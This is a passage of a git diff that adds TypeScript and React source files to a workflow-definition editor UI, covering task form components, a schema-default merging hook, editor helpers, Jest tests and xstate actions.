a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/types.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/types.ts new file mode 100644 index 0000000..c621b07 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/types.ts @@ -0,0 +1,12 @@ +import { TaskFormProps } from "../types"; +import { WaitTaskDef } from "types/TaskType"; + +export interface WaitTaskFormProps extends TaskFormProps { + task: WaitTaskDef; +} + +export enum WaitType { + UNTIL = "until", + DURATION = "duration", + SIGNAL = "signal", +} diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/YieldTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/YieldTaskForm.tsx new file mode 100644 index 0000000..6b9db1c --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/YieldTaskForm.tsx @@ -0,0 +1,61 @@ +import { useState } from "react"; +import { Box, Grid } from "@mui/material"; +import { path as _path } from "lodash/fp"; + +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import { ConductorCacheOutput } from "./ConductorCacheOutputForm"; + +import { SnackbarMessage } from "components/ui/SnackbarMessage"; + +import { SchemaForm } from "./SchemaForm"; +import { TaskFormProps } from "./types"; +import TaskFormSection from "./TaskFormSection"; +import { updateField } from "utils/fieldHelpers"; +import { Optional } from "./OptionalFieldForm"; +import { useSchemaFormHandler } from "./hooks/useSchemaFormHandler"; + +const inputParametersPath = "inputParameters"; + +export const YieldTaskForm = ({ task, onChange }: TaskFormProps) => { + const [showAlert, setShowAlert] = useState(false); + const handleSchemaChange = useSchemaFormHandler({ task, onChange }); + + return ( + + {showAlert && ( + setShowAlert(false)} + anchorOrigin={{ horizontal: "right", vertical: "bottom" }} + /> + )} + + + + + onChange(updateField(inputParametersPath, value, task)) + } + /> + + + + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/editorConfig.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/editorConfig.ts new file mode 100644 index 0000000..496f41d --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/editorConfig.ts @@ -0,0 +1,24 @@ +import { editor, type EditorOptions } from "shared/editor"; + +export const smallEditorDefaultOptions: EditorOptions = { + tabSize: 2, + minimap: { enabled: false }, + lightbulb: { enabled: editor.ShowLightbulbIconMode.Off }, + quickSuggestions: true, + lineNumbers: "off", + glyphMargin: false, + folding: false, + // Undocumented see https://github.com/Microsoft/vscode/issues/30795#issuecomment-410998882 + lineDecorationsWidth: 0, + lineNumbersMinChars: 0, + renderLineHighlight: "none", + overviewRulerLanes: 0, + hideCursorInOverviewRuler: true, + scrollbar: { + vertical: "hidden", + // this property is added because it was not allowing us to scroll when mouse pointer is over this component + alwaysConsumeMouseWheel: false, + }, + overviewRulerBorder: false, + automaticLayout: true, +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/hooks/useSchemaFormHandler.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/hooks/useSchemaFormHandler.ts new file mode 100644 index 0000000..006c3df --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/hooks/useSchemaFormHandler.ts @@ -0,0 +1,110 @@ +import { useCallback } from "react"; +import { assoc as _assoc, pipe as _pipe } from "lodash/fp"; +import { getAuthHeaders } from "components/features/auth/tokenManagerJotai"; +import { getInputParametersFromSchemaIfNeeded } from "../../helpers"; +import { SchemaFormPropsValue } from "../SchemaForm"; +import { TaskFormProps } from "../types"; + +/** + * Checks if two values have the same type, handling special cases like arrays and null + */ +const typesMatch = (existingValue: unknown, defaultValue: unknown): boolean => { + const existingType = typeof existingValue; + const defaultType = typeof defaultValue; + + // Handle null separately (typeof null is "object" in JavaScript) + if (existingValue === null && defaultValue === null) return true; + if (existingValue === null || defaultValue === null) return false; + + // Handle arrays separately (typeof array is "object" in JavaScript) + const existingIsArray = Array.isArray(existingValue); + const defaultIsArray = Array.isArray(defaultValue); + if (existingIsArray && defaultIsArray) return true; + if (existingIsArray || defaultIsArray) return false; + + // For primitive types, compare directly + if (existingType !== defaultType) return false; + + // Both are objects (but not arrays or null) + if (existingType === "object") { + // For objects, we consider them matching if both are objects + // (we don't do deep comparison of object structure) + return true; + } + + return true; +}; + +/** + * Custom hook that handles schema form changes and automatically populates + * inputParameters from schema defaults when appropriate. + * + * @param props - TaskFormProps containing task and onChange + * @returns A handler function for SchemaForm onChange events + */ +export const useSchemaFormHandler = ({ task, onChange }: TaskFormProps) => { + const handleSchemaChange = useCallback( + async (schema?: SchemaFormPropsValue) => { + const updatedTask = _pipe( + _assoc("taskDefinition.inputSchema", schema?.inputSchema), + _assoc("taskDefinition.outputSchema", schema?.outputSchema), + _assoc("taskDefinition.enforceSchema", schema?.enforceSchema), + )(task); + + const authHeaders = getAuthHeaders(); + const defaultValues = await getInputParametersFromSchemaIfNeeded( + schema, + task, + authHeaders, + ); + + if (defaultValues) { + const existingParams = updatedTask.inputParameters || {}; + const mergedParams: Record = { ...defaultValues }; + + // Preserve existing parameters that have valid values and matching types + for (const [key, value] of Object.entries(existingParams)) { + const defaultValue = defaultValues[key]; + const valueType = typeof value; + + // If parameter exists in schema defaults, check type compatibility + if (defaultValue !== undefined) { + // If types don't match, use default value (don't preserve existing) + if (!typesMatch(value, defaultValue)) { + // Type mismatch - use default value (already in mergedParams) + continue; + } + } + + // Check if value is valid (should be kept) + if (valueType === "number") { + // For numbers, keep if not 0 + if (value !== 0) { + mergedParams[key] = value; + } + } else if (valueType === "boolean") { + // For booleans, always keep (we can't determine intent) + mergedParams[key] = value; + } else if (valueType === "string") { + // For strings, keep if not blank + const stringValue = value as string; + if (stringValue !== "" && stringValue?.trim() !== "") { + mergedParams[key] = value; + } + } else if (value != null) { + // For other types (objects, arrays, etc.), keep if not null/undefined + mergedParams[key] = value; + } + // If value is null, undefined, empty string, or 0, it's removed (not added to mergedParams) + } + + updatedTask.inputParameters = mergedParams; + } + + onChange(updatedTask); + }, + [task, onChange], + ); + + return handleSchemaChange; +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/hooks/useTaskForm.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/hooks/useTaskForm.ts new file mode 100644 index 0000000..6dff3d4 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/hooks/useTaskForm.ts @@ -0,0 +1,15 @@ +import _path from "lodash/fp/path"; + +import { updateField } from "utils/fieldHelpers"; +import { TaskFormProps } from "../types"; + +export const useTaskForm = ( + path: string, + { task, onChange }: TaskFormProps, +) => { + const value = _path(path, task); + + const setValue = (v: any) => onChange(updateField(path, v, task)); + + return [value, setValue]; +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/index.ts new file mode 100644 index 0000000..e6abc19 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/index.ts @@ -0,0 +1,49 @@ +export { DynamicForkForm as DynamicOperatorForm } from "./DynamicOperatorForm"; +export * from "./BusinessRuleForm"; +export * from "./SendgridForm"; +export * from "./DoWhileTaskForm"; +export * from "./DynamicForkOperatorForm"; +export * from "./EventTaskForm"; +export * from "./GetDocumentTaskForm"; +export * from "./GetWorkflowTaskForm"; +export * from "./HTTPTaskForm"; +// HumanTaskForm moved to enterprise/plugins/human-tasks/components/HumanTaskForm +export * from "./KafkaTaskForm"; +export * from "./INLINETaskForm"; +export * from "./JDBCTaskForm"; +export * from "./JOINTaskForm"; +export * from "./JSONJQTransformForm"; +export * from "./LLMChatCompleteTaskForm"; +export * from "./LLMGenerateEmbeddingsTaskForm"; +export * from "./LLMGetEmbeddingsTaskForm"; +export * from "./LLMIndexDocumentTaskForm"; +export * from "./LLMIndexTextTaskForm"; +export * from "./LLMSearchIndexTaskForm"; +export * from "./LLMStoreEmbeddingsTaskForm"; +export * from "./LLMTextCompleteTaskForm"; +export * from "./OpsGenieTaskForm"; +export * from "./ParseDocumentTaskForm"; +export * from "./QueryProcessorTaskForm"; +export * from "./SetVariableOperatorForm"; +export * from "./SimpleTaskForm"; +export * from "./StartWorkflowTaskForm"; +export * from "./SubWorkflowOperatorForm"; +export * from "./SwitchTaskForm"; +export * from "./TerminateOperatorForm"; +export * from "./TerminateWorkflowForm"; +export * from "./UnknownTaskForm"; +export * from "./WaitTaskForm"; +export * from "./YieldTaskForm"; +export * from "./ListFilesTaskForm"; +export { default as GetSignedJwtForm } from "./GetSignedJwtForm"; +export * from "./ChunkTextTaskForm"; +export * from "./AgentTaskForm"; +export * from "./GetAgentCardTaskForm"; +export * from "./CancelAgentTaskForm"; +export * from "./LLMSearchEmbeddingsTaskForm"; +export * from "./ListMcpToolsTaskForm"; +export * from "./CallMcpToolTaskForm"; +export * from "./GenerateImageTaskForm"; +export * from "./GenerateAudioTaskForm"; +export * from "./GenerateVideoTaskForm"; +export * from "./GeneratePdfTaskForm"; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/maybeVariableHOC.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/maybeVariableHOC.tsx new file mode 100644 index 0000000..4ac8941 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/maybeVariableHOC.tsx @@ -0,0 +1,41 @@ +import { FormTaskType } from "types/TaskType"; +import { MaybeVariable } from "./MaybeVariable"; +import { FunctionComponent } from "react"; + +type CommonProps = { + label?: string; + taskType: FormTaskType; + path: string; + onChange?: (val: any) => void; + value?: any; + onChangeHeaders?: (headers: any) => void; +}; + +function maybeVariable( + WrappedComponent: FunctionComponent, +): FunctionComponent { + return function WrapperComponent(props: T & CommonProps) { + const handleChange = (e: string) => { + if (props.onChange) { + return props.onChange(e); + } else if (props.onChangeHeaders) { + return props.onChangeHeaders(e); + } else { + return () => {}; + } + }; + if (props.taskType && props.path) { + return ( + + + + ); + } else return null; + }; +} +export default maybeVariable; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/types.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/types.ts new file mode 100644 index 0000000..66b83b6 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/types.ts @@ -0,0 +1,14 @@ +import { TaskDef } from "types"; +import { ActorRef } from "xstate"; +import { TaskHeaderMachineEvents } from "./TaskFormHeader/state"; + +export interface TaskFormProps { + task: Partial; + onChange: any; + updateAdditionalFieldMetadata?: any; + additionalFieldMetadata?: any; + isMetaBarEditing?: boolean; + onToggleExpand?: any; + collapseWorkflowList?: string[]; + taskFormHeaderActor?: ActorRef; +} diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/useGetSetHandler.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/useGetSetHandler.ts new file mode 100644 index 0000000..99621fe --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/useGetSetHandler.ts @@ -0,0 +1,13 @@ +import _get from "lodash/get"; +import _clone from "lodash/clone"; +import { updateField } from "utils/fieldHelpers"; +import { TaskFormProps } from "./types"; + +export const useGetSetHandler = ( + { task, onChange }: TaskFormProps, + path: string, +) => + [ + _clone(_get(task, path)), + (val: any) => onChange(updateField(path, val, task)), + ] as const; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/helpers.test.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/helpers.test.ts new file mode 100644 index 0000000..f45633b --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/helpers.test.ts @@ -0,0 +1,190 @@ +import { TaskDef, TaskType } from "types/common"; +import { + getCorrespondingJoinTask, + updateInputParametersCommon, +} from "./helpers"; + +const taskJson = { + name: "start_workflow", + taskReferenceName: "start_workflow_ref", + inputParameters: { + startWorkflow: { + name: "SUB_WORKFLOW_TASK_TEST_WF", + input: {}, + version: 1, + }, + }, + type: TaskType.START_WORKFLOW, +}; + +const task = { + name: "start_workflow", + taskReferenceName: "start_workflow_ref", + inputParameters: { + startWorkflow: { + name: "", + input: {}, + }, + }, + type: TaskType.START_WORKFLOW, +}; + +const getWorkflowDefinitionByNameAndVersionFn: any = (_params: any) => { + return { + createTime: 1709828406534, + updateTime: 1709828406538, + name: "SUB_WORKFLOW_TASK_TEST_WF", + description: "donot delete this workflow. used for tests.", + version: 1, + tasks: [ + { + name: "http", + taskReferenceName: "http_ref", + inputParameters: { + uri: "https://orkes-api-tester.orkesconductor.com/api", + method: "GET", + connectionTimeOut: 3000, + readTimeOut: "3000", + accept: "application/json", + contentType: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + inputParameters: ["Name", "Age", "Address"], + outputParameters: {}, + failureWorkflow: "", + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "najeeb.thangal@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + variables: {}, + inputTemplate: {}, + }; +}; + +const expectedResult = { + name: "start_workflow", + taskReferenceName: "start_workflow_ref", + inputParameters: { + startWorkflow: { + name: "SUB_WORKFLOW_TASK_TEST_WF", + input: { + Name: "", + Age: "", + Address: "", + }, + version: 1, + }, + }, + type: "START_WORKFLOW", +}; + +describe("updateInputParametersCommon", () => { + it("return expected result", () => { + const onChangePromise = new Promise((resolve) => { + const onChange = (data: Partial) => { + resolve({ ...data }); + }; + + updateInputParametersCommon( + taskJson, + task, + {}, + onChange, + "inputParameters.startWorkflow", + "inputParameters.startWorkflow.input", + TaskType.START_WORKFLOW, + getWorkflowDefinitionByNameAndVersionFn, + ); + }); + + return onChangePromise.then((result: any) => { + expect(result).toEqual(expectedResult); + }); + }); +}); + +describe("getCorrespondingJoinTask", () => { + it("return corresponding join task of the fork", () => { + const originalTask = { + taskReferenceName: "fork_join", + type: TaskType.FORK_JOIN, + }; + const tasksList = [ + { taskReferenceName: "http", type: TaskType.HTTP }, + { taskReferenceName: "fork_join", type: TaskType.FORK_JOIN }, + { taskReferenceName: "join", type: TaskType.JOIN }, + ]; + const expectedResult = [{ taskReferenceName: "join", type: TaskType.JOIN }]; + const correspondingJoinTask = getCorrespondingJoinTask( + originalTask, + tasksList, + ); + expect(correspondingJoinTask).toEqual(expectedResult); + }); + it("return empty array if corresponding join task of the fork not found", () => { + const originalTask = { + taskReferenceName: "fork_join_1", + type: TaskType.FORK_JOIN, + }; + const tasksList = [ + { taskReferenceName: "http", type: TaskType.HTTP }, + { taskReferenceName: "fork_join", type: TaskType.FORK_JOIN }, + { taskReferenceName: "join", type: TaskType.JOIN }, + ]; + const correspondingJoinTask = getCorrespondingJoinTask( + originalTask, + tasksList, + ); + expect(correspondingJoinTask).toEqual([]); + }); + it("return corresponding join task of the fork - multiple fork joins are present", () => { + const originalTask = { + taskReferenceName: "fork_join_2", + type: TaskType.FORK_JOIN, + }; + const tasksList = [ + { taskReferenceName: "http", type: TaskType.HTTP }, + { taskReferenceName: "fork_join", type: TaskType.FORK_JOIN }, + { taskReferenceName: "join", type: TaskType.JOIN }, + { taskReferenceName: "http_3", type: TaskType.HTTP }, + { taskReferenceName: "http_1", type: TaskType.HTTP }, + { taskReferenceName: "fork_join_2", type: TaskType.FORK_JOIN }, + { taskReferenceName: "join_2", type: TaskType.JOIN }, + { taskReferenceName: "http_3", type: TaskType.HTTP }, + ]; + const expectedResult = [ + { taskReferenceName: "join_2", type: TaskType.JOIN }, + ]; + const correspondingJoinTask = getCorrespondingJoinTask( + originalTask, + tasksList, + ); + expect(correspondingJoinTask).toEqual(expectedResult); + }); + it("return empty array if tasksList is undefined", () => { + const originalTask = { + taskReferenceName: "fork_join", + type: TaskType.FORK_JOIN, + }; + const tasksList = undefined; + const correspondingJoinTask = getCorrespondingJoinTask( + originalTask, + tasksList, + ); + expect(correspondingJoinTask).toEqual([]); + }); +}); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/helpers.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/helpers.ts new file mode 100644 index 0000000..b415c15 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/helpers.ts @@ -0,0 +1,341 @@ +import { Monaco } from "@monaco-editor/react"; +import _path from "lodash/fp/path"; +import _update from "lodash/fp/update"; +import _keys from "lodash/keys"; +import _nth from "lodash/nth"; +import { IdempotencyValuesProp } from "pages/definition/RunWorkflow/state"; +import { IdempotencyStrategyEnum } from "pages/runWorkflow/types"; +import { MutableRefObject } from "react"; +import { + DoWhileTaskDef, + InlineTaskDef, + JDBCTaskDef, + SwitchTaskDef, +} from "types/TaskType"; +import { AuthHeaders, TaskDef, TaskType } from "types/common"; +import { logger } from "utils/logger"; +import { mock } from "mock-json-schema"; +import { queryClient } from "queryClient"; +import { fetchWithContext, fetchContextNonHook } from "plugins/fetch"; +import { JsonSchema } from "@jsonforms/core"; + +const VARIABLE_DEFINER = "$."; +const IDLE_MINIMUM_VALUE_IF_FAIL_TO_GET_REF = 500; +const A_MARGIN_THREASHHOLD = 22; + +export type OnlyTheWordInfoProp = { + word: string; + startColumn: number; + endColumn: number; +}; + +export const editorAddCommandAltEnter = ( + editor: Monaco, + monaco: Monaco, + taskRef: MutableRefObject< + | Partial + | Partial + | Partial + | Partial + | null + >, + callBack: (onlyTheWordInfo: OnlyTheWordInfoProp) => void, +) => { + return editor.addCommand(monaco.KeyMod.Alt | monaco.KeyCode.Enter, () => { + const position = editor.getPosition(); // Get the current cursor position + const model = editor.getModel(); + + if (model) { + const onlyTheWordInfo: OnlyTheWordInfoProp = + model.getWordAtPosition(position); // This only selects the word + + const startColumn = onlyTheWordInfo?.startColumn; + if (startColumn > VARIABLE_DEFINER.length) { + // Avoid blowing up because of wrong position. + const newStart = Math.max(startColumn - VARIABLE_DEFINER.length, 1); // We select a new start + let word = null; + // Create a new range from th new start including $. + const wordRange = new monaco.Range( + position.lineNumber, + newStart, + position.lineNumber, + onlyTheWordInfo.endColumn, + ); + word = model.getValueInRange(wordRange); + if (word && word?.includes(VARIABLE_DEFINER)) { + const maybeNewVariable = word.word; + const currentVariables = _keys( + taskRef.current?.inputParameters || {}, + ); + + if (!currentVariables.includes(maybeNewVariable)) { + callBack(onlyTheWordInfo); + } + } + } + } + }); +}; + +export const editorHandleAutoSize = ( + editor: Monaco, + parentWrapperRef: MutableRefObject, +) => { + //auto scrolling according to the content height => https://github.com/microsoft/monaco-editor/issues/794#issuecomment-688959283 + const updateHeight = () => { + const contentHeight = Math.min(1000, editor.getContentHeight()); + let contentWidth = IDLE_MINIMUM_VALUE_IF_FAIL_TO_GET_REF; + + if (parentWrapperRef) { + contentWidth = parentWrapperRef.current.getBoundingClientRect().width; + } + try { + editor.layout({ + width: contentWidth - A_MARGIN_THREASHHOLD, + height: contentHeight, + }); + } catch { + /* empty */ + } + }; + editor.onDidContentSizeChange(updateHeight); + updateHeight(); +}; + +export const editorDecorations = ( + model: Monaco, + parameters: string[], + monaco: Monaco, +) => { + return parameters.map((word: string) => { + const escapedWord = word.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + const wordRegex = new RegExp( + `${escapedWord}(?![a-zA-Z0-9_$])(?:\\.\\w+|\\['\\w+'\\]|\\[\\w+\\])*`, + "g", + ); + let match; + const decorators = []; + while ((match = wordRegex.exec(model.getValue()))) { + const startPos = model.getPositionAt(match.index); + const endPos = model.getPositionAt(match.index + match[0].length); + + if (startPos && endPos) { + decorators.push({ + range: new monaco.Range( + startPos.lineNumber, + startPos.column, + endPos.lineNumber, + endPos.column, + ), + options: { + className: "squiggly-error", + }, + }); + } + } + return decorators; + }); +}; + +export const updateInputParametersCommon = async ( + taskJson: Partial, + originalTask: Partial, + authHeaders: AuthHeaders, + onChange: (data: Partial) => void, + workflowNameVersionStringPath: string, + inputParametersStringPath: string, + taskType: TaskType.START_WORKFLOW | TaskType.SUB_WORKFLOW, + getWorkflowDefinitionByNameAndVersionFn: ({ + name, + version, + authHeaders, + }: { + name: string; + version: number; + authHeaders: AuthHeaders; + }) => Promise, +) => { + const wfName = _path(`${workflowNameVersionStringPath}.name`, taskJson) || ""; + const wfVersion = + _path(`${workflowNameVersionStringPath}.version`, taskJson) || ""; + + if ( + (wfName !== + (_path(`${workflowNameVersionStringPath}.name`, originalTask) || "") || + wfVersion !== + (_path(`${workflowNameVersionStringPath}.version`, originalTask) || + "")) && + [wfName, wfVersion].every( + (val) => + val != null && String(val).trim() !== "" && !String(val).includes("$"), + ) + ) { + try { + const workflowDef = await getWorkflowDefinitionByNameAndVersionFn({ + name: wfName, + version: wfVersion as number, + authHeaders, + }); + const entries = workflowDef?.inputParameters.map((value: string) => [ + value, + _path(`${inputParametersStringPath}.${[value]}`, taskJson) || "", + ]); + + if (entries && entries.length > 0) { + const inputParams = Object.fromEntries(entries); + + const payloadForStartWorkflow = { + ...taskJson.inputParameters, + startWorkflow: { + ...taskJson.inputParameters?.startWorkflow, + input: inputParams, + }, + }; + const payload = + taskType === TaskType.START_WORKFLOW + ? payloadForStartWorkflow + : inputParams; + + onChange({ + ...taskJson, + inputParameters: payload, + }); + } else { + onChange({ ...taskJson }); + } + } catch (error) { + logger.error(error); + return; + } + } else { + onChange({ ...taskJson }); + } +}; + +export const handleChangeIdempotencyValues = ( + data: IdempotencyValuesProp, + task: Partial, + path: string, + onChange: (task: Partial) => void, +) => { + const idempotencyStrategy = () => { + if (!data?.idempotencyKey && task.type !== TaskType.SUB_WORKFLOW) { + return undefined; + } + if (data.idempotencyStrategy) { + return data.idempotencyStrategy; + } + if (_path(`${path}.idempotencyStrategy`, task)) { + return _path(`${path}.idempotencyStrategy`, task); + } + return IdempotencyStrategyEnum.RETURN_EXISTING; + }; + + const maybeIdempotencyStrategy = idempotencyStrategy(); + const maybeIdempotencyKey = + data?.idempotencyKey === "" ? undefined : data?.idempotencyKey; + + const taskJson = { ...task }; + + const updatedTask = _update( + path, + (item) => ({ + ...item, + idempotencyKey: maybeIdempotencyKey, + idempotencyStrategy: maybeIdempotencyStrategy, + }), + taskJson, + ); + + onChange({ ...updatedTask }); +}; + +export const getCorrespondingJoinTask = ( + originalTask: Partial, + tasksList: Partial[] = [], +) => { + if (originalTask && tasksList && tasksList.length > 0) { + const taskIndex = tasksList.findIndex( + (item) => item?.taskReferenceName === originalTask?.taskReferenceName, + ); + if (taskIndex > -1) { + const nextTask = _nth(tasksList, taskIndex + 1); + if (nextTask && nextTask.type === TaskType.JOIN) { + return [nextTask]; + } + return []; + } + return []; + } + return []; +}; + +const fetchContext = fetchContextNonHook(); + +/** + * Fetches a schema by name and version, then generates default values from it + * @param schemaName - The name of the schema + * @param schemaVersion - The version of the schema (optional) + * @param authHeaders - Authentication headers for the API request + * @returns Promise that resolves to default values object, or null if fetching/generation fails + */ +export const getDefaultValuesFromSchema = async ( + schemaName: string, + schemaVersion: number | undefined, + authHeaders: AuthHeaders, +): Promise | null> => { + if (!schemaName) { + return null; + } + + try { + const url = `/schema/${schemaName}${schemaVersion ? `/${schemaVersion}` : ""}`; + + const response = await queryClient.fetchQuery( + [fetchContext.stack, url], + () => fetchWithContext(url, fetchContext, { headers: authHeaders }), + ); + + if (response?.data) { + const defaultValues = mock(response.data as JsonSchema); + if (defaultValues && Object.keys(defaultValues).length > 0) { + return defaultValues as Record; + } + } + return null; + } catch (error) { + logger.warn("Failed to fetch schema for default values:", error); + return null; + } +}; + +/** + * Checks if inputParameters should be populated from schema and returns default values if conditions are met + * @param newSchema - The new schema form value + * @param currentTask - The current task definition + * @param authHeaders - Authentication headers for the API request + * @returns Promise that resolves to default values object if conditions are met, or null otherwise + */ +export const getInputParametersFromSchemaIfNeeded = async ( + newSchema: { inputSchema?: { name?: string; version?: number } } | undefined, + currentTask: Partial | undefined, + authHeaders: AuthHeaders, +): Promise | null> => { + // Check if inputSchema is being updated and inputParameters is empty + const hasInputSchema = newSchema?.inputSchema?.name; + const inputSchemaChanged = + newSchema?.inputSchema?.name !== + currentTask?.taskDefinition?.inputSchema?.name || + newSchema?.inputSchema?.version !== + currentTask?.taskDefinition?.inputSchema?.version; + + if (hasInputSchema && inputSchemaChanged && newSchema?.inputSchema?.name) { + return await getDefaultValuesFromSchema( + newSchema.inputSchema.name, + newSchema.inputSchema.version, + authHeaders, + ); + } + + return null; +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/index.ts new file mode 100644 index 0000000..3a5aa3e --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/index.ts @@ -0,0 +1,2 @@ +import TaskForm from "./TaskForm"; +export { TaskForm }; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/TaskFormContext/TaskFormContext.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/TaskFormContext/TaskFormContext.tsx new file mode 100644 index 0000000..04a240b --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/TaskFormContext/TaskFormContext.tsx @@ -0,0 +1,6 @@ +import { createContext } from "react"; +import { TaskFormContextProviderProps } from "./types"; + +export const TaskFormContext = createContext({ + formTaskActor: undefined, +}); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/TaskFormContext/TaskFormProvider.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/TaskFormContext/TaskFormProvider.tsx new file mode 100644 index 0000000..c632667 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/TaskFormContext/TaskFormProvider.tsx @@ -0,0 +1,11 @@ +import { FunctionComponent } from "react"; +import { TaskFormContext } from "./TaskFormContext"; +import { TaskFormContextProviderProps } from "./types"; + +export const TaskFormContextProvider: FunctionComponent< + TaskFormContextProviderProps +> = ({ children, formTaskActor }) => ( + + {children} + +); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/TaskFormContext/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/TaskFormContext/index.ts new file mode 100644 index 0000000..d7980d6 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/TaskFormContext/index.ts @@ -0,0 +1,2 @@ +export * from "./TaskFormContext"; +export * from "./TaskFormProvider"; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/TaskFormContext/types.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/TaskFormContext/types.ts new file mode 100644 index 0000000..5aa2a93 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/TaskFormContext/types.ts @@ -0,0 +1,8 @@ +import { ReactNode } from "react"; +import { ActorRef } from "xstate"; +import { TaskFormEvents } from "../types"; + +export interface TaskFormContextProviderProps { + formTaskActor?: ActorRef; + children?: ReactNode; +} diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/actions.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/actions.ts new file mode 100644 index 0000000..8ff0041 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/actions.ts @@ -0,0 +1,147 @@ +import { + ActorRef, + assign, + pure, + send, + sendParent, + sendTo, + spawn, +} from "xstate"; +import { + UpdateTaskEvent, + TaskFormMachineContext, + UpdateCrumbsEvent, + ForceRefreshTaskEvent, + SelectEdgeEvent, +} from "./types"; +import { REPLACE_TASK_EVT } from "../../../state/constants"; +import { + TaskFormHeaderEventTypes, + taskFormHeaderMachine, + TaskHeaderMachineEvents, +} from "pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state"; +import { TaskType, TaskDef } from "types"; +import { TaskStatsEventTypes } from "../TaskStats/state"; +import _isNil from "lodash/isNil"; +import fastDeepEqual from "fast-deep-equal"; +import { FlowActionTypes } from "components/features/flow/state"; +import _isUndefined from "lodash/isUndefined"; +import _omitBy from "lodash/omitBy"; + +const maybeUseChanges = ( + defaultTo?: Partial, + maybeTask?: Partial, +): Partial | undefined => { + if ( + _isNil(maybeTask) || + ![TaskType.SWITCH, TaskType.DO_WHILE].includes(maybeTask?.type as TaskType) + ) { + return defaultTo; + } + return fastDeepEqual(maybeTask, defaultTo) ? defaultTo : maybeTask; +}; + +export const spawnTaskHeaderMachineActor = assign( + (context) => ({ + taskHeaderActor: spawn( + taskFormHeaderMachine.withContext({ + name: context?.originalTask?.name || "", + taskReferenceName: context?.originalTask?.taskReferenceName || "", + taskType: context?.originalTask?.type || TaskType.SIMPLE, // TODO what if taskType is not set + }), + "taskFormHeader-fields", + ), + }), +); + +export const updateTask = assign({ + taskChanges: ({ taskChanges }, event) => { + return _omitBy({ ...taskChanges, ...event.taskChanges }, _isUndefined); + }, +}); + +export const updateCollapseWorkflowList = sendParent< + TaskFormMachineContext, + any +>((_, { workflowName }) => ({ + type: FlowActionTypes.UPDATE_COLLAPSE_WORKFLOW_LIST, + workflowName: workflowName, +})); + +export const updateCrumbsAndOriginalTask = assign< + TaskFormMachineContext, + UpdateCrumbsEvent +>({ + crumbs: (_context, event) => { + return event.crumbs; + }, + originalTask: (context, event) => + maybeUseChanges(context.taskChanges, event?.task), + taskChanges: (context, event) => + maybeUseChanges(context.taskChanges, event?.task), +}); + +/** Used by AI agent updates — always replaces task state regardless of task type. */ +export const forceRefreshTask = assign< + TaskFormMachineContext, + 